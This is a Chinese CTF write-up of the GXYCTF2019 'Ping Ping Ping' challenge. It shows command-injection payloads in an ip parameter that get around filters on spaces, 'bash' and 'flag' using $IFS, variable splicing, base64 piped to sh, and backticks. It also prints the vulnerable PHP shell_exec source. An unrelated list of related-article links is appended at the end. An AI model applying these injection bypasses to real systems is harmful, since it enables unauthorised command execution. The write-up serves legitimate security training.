1. 打开目标靶机

    发现提示很简洁
  2. 那就放在URL里尝试吧
    /?ip=127.0.0.1
    有明显的的回显结果

    并没有此类题目的经验,第一次碰到,只能尝试,发现空格等很多符号被过滤,看老哥们的提示,这是经典的Linux命令执行,使用命令执行的管道符 “|” 尝试列出文件,OK那就开干吧
  3. 构造如下 payload
/?ip=127.0.0.1|ls

有结果,得到文件名称

4. 拿到文件名,flag 大概率在 flag.php 中,那么接下来肯定尝试去访问,或者列出文件内容啊

?ip=1|cat flag.php

额,,,,发现空格被过滤

那么想办法绕过空格,大题有以下思路

$IFS
${IFS}
$IFS$1 // 1 改 成 1改成 1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

注意:
有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag
5. 知道了空格的绕过方法,逐个尝试,构造如下 payload

/?ip=1|cat$IFS$1flag.php


真是一波三折~~~,此处到底过滤了多少东西啊
6. 查看 index.php 看能否得到些许有用信息,构造 payload

/?ip=1|cat$IFS$1index.php

出现了部分内容

但是貌似不全,可能是因为其他原因导致,右键查看网页源码,得到如下代码

/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){$ip = $_GET['ip'];if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!");} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip);echo "<pre>";print_r($a);
}
?>
  1. 进行代码审计,发现过滤很多标点,空格,bash以及flag的贪婪匹配,,,,,那么常规访问 flag.php 的方法肯定行不通,代码中有个 $a 考虑进行变量覆盖,构造如下 payload
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//或者
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php


额,好像也没变化撒,不慌,先看一波网页源码再做定论

或者直接 Ctrl + u(Chrome浏览器)

发现flag是出来的,只不过再注释里,所以没有显示出来。因此做题的时候,尽量开着
8. 官方给出 payload 为:

echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

即先对 cat flag.php 进行base64 加密,过滤 bash ,那就用 sh

同样可得 flag,此处为了做区分,特地换了ip
9. 还有另外一种方法:内联执行
使用 `` 代替 | ,将反引号内命令的输出作为输入执行,即:

/?ip=2.2.2.2;cat$IFS$1`ls`


10. 总结

  • 需掌握以下知识点

    • 命令执行变量拼接
    • 过滤 bash 用 sh 执行
    • 内联执行,将反引号内命令的输出作为输入执行
    • 空格绕过姿势
    • 代码审计能力
    • 熟悉 Linux 命令的使用方法,管道等

    做题不能大意,不能根据回显结果简单的做定论,一定要把能了解的信息都查看完之后,在确定是否有效。养成看网页源码的好习惯!!

[GXYCTF2019]Ping Ping Ping 1解题思路相关推荐

  1. 《TCP/IP 卷一》笔记、ping和traceroute 的实现思路

    一.TCP协议相关笔记 Normally TCP does not send an ACK the instant it receives data. Instead, it delays the A ...

  2. linux命令菜鸟ping,Linux ping命令

    Linux ping命令 Linux ping命令用于检测主机. 执行ping指令会使用ICMP传输协议,发出要求回应的信息,若远端主机的网络功能没有问题,就会回应该信息,因而得知该主机运作正常. 语 ...

  3. 复制vmware overLay网络无法ping通 ping www.baidu.com可以

    因为忘记关闭防火墙了!!!!!    要永久关闭!! 修改hostname https://blog.csdn.net/qq_27327261/article/details/109100219 关闭 ...

  4. linux使用ping命令ping本机,Linux下使用ping命令判断网络的好坏

    简介 在Linux系统里面如果想判断网络的好坏,脑海中蹦出的第一个命令就是ping了. ping命令基本是最常用的网络命令,它可以用来测试与目标主机的连通性. ping通过发送ICMP ECHO_RE ...

  5. 虚拟机ping网关ping不通

    虚拟机ping网关ping不通,可能自己遇到的比较奇特,开始访问正常,过一段时间就不正常,分享一下解决办法: 首先ping同网段的可以ping的通,说明vmnet8的ipv4不和虚拟机配置的vmnet ...

  6. 全网超详细的如何Ping特定的端口号,比如telnet Ping,nc Ping,nmap Ping等

    文章目录 1. 文章引言 2. ping特定端口 2.1 使用telnet ping特定端口 2.2 使用nc ping特定端口 2.3 使用nmap ping端口 2.4 使用Powershell ...

  7. C# ping命令,ping网络状态

    Ping ping = new Ping(); PingReply pingReply = ping.Send("192.168.1.1"); //网络状态 if (pingRep ...

  8. securityoverridehacking challenge 解题思路汇总——Forensics

    上一部分我们完成了加解密方面的任务(securityoverridehackingchallenge 解题思路汇总--Decryption).下一个部分应当是权限提升的,不过在这个过程中遇到了一些问题 ...

  9. 2020考研 管理类联考数学 【题型分析及解题思路】

    第一章 整式分式 1.若一元n次多项式A被(或者是B的因式)一元1次多项式B整除,求解A中的几个系数a,b(解题思路:代入法,让因式值为0,也可以配合多元多项式基本公式将复杂的B变成简单的几个一次多项 ...

  10. 2014计算机三级网络技术,2014计算机三级网络技术综合题解题思路

    2014计算机三级网络技术综合题解题思路,全部自码 第一小题 IP地址的计算公式 正常IP地址计算:已知IP地址:子网掩码: 地址类别:A类地址:1-126(00)B类地址:128-191(10) C ...

最新文章

  1. NC93设计LRU缓存结构
  2. 207. Course Schedule 210. Course Schedule II
  3. 网站内链的6大常见形式你了解多少?
  4. 射频篇(一) 模拟、射频器件学习(1) —— 晶振(OSC)
  5. WPS for Linux(ubuntu)字体缺失解决办法(转)
  6. python定时任务_Python定时任务(上)
  7. qprocess 最小化启动外部程序_程序员易踩的 9 大坑,教你识别
  8. java mediator模式_Java实现中介者模式-Mediator Pattern
  9. 微信小程序:wx.getUserInfo 接口的变动与使用
  10. [redis] redis连接远程客户端查询数据
  11. 传智播客视频python视频爬虫
  12. ArcGIS操作实例视频教程38讲全集(转)
  13. 动感歌词制作与转换工具(QRC, KRC, LRC, KSC, TRC) 1.2.9版本
  14. 苹果手机屏幕镜像搜索不到电视_康佳电视投屏不了,3个办法解决!
  15. Android OTA在线升级一(架构分析)【转】
  16. Python之NumPy(axis=0/1/2...)的透彻理解——通过np.sum(axis=?)实例进行说明
  17. MSDC 4.3 接口规范(19)
  18. 快速入门Kotlin
  19. 逆时针旋转坐标系的转换
  20. 微信小程序-编写图标的方法

热门文章

  1. 【银河麒麟】终端安装微信代码
  2. Windows cmd卸载程序
  3. 作业20171127-4 事后诸葛亮会议
  4. 【硬盘】2021-希捷叠瓦盘(SMR)、垂直盘(CMR/PMR)型号、容量大全
  5. 方阵的特征值与特征向量
  6. 平板酷派Ultranote X15概述
  7. 2020中式烹调师(初级)证考试及中式烹调师(初级)实操考试视频
  8. 数据预处理--特征归一化
  9. 2021 CSC加拿大出国签证、贴签、机票申请材料汇总
  10. 同建金融IT新生态——令克软件富途证券达成战略合作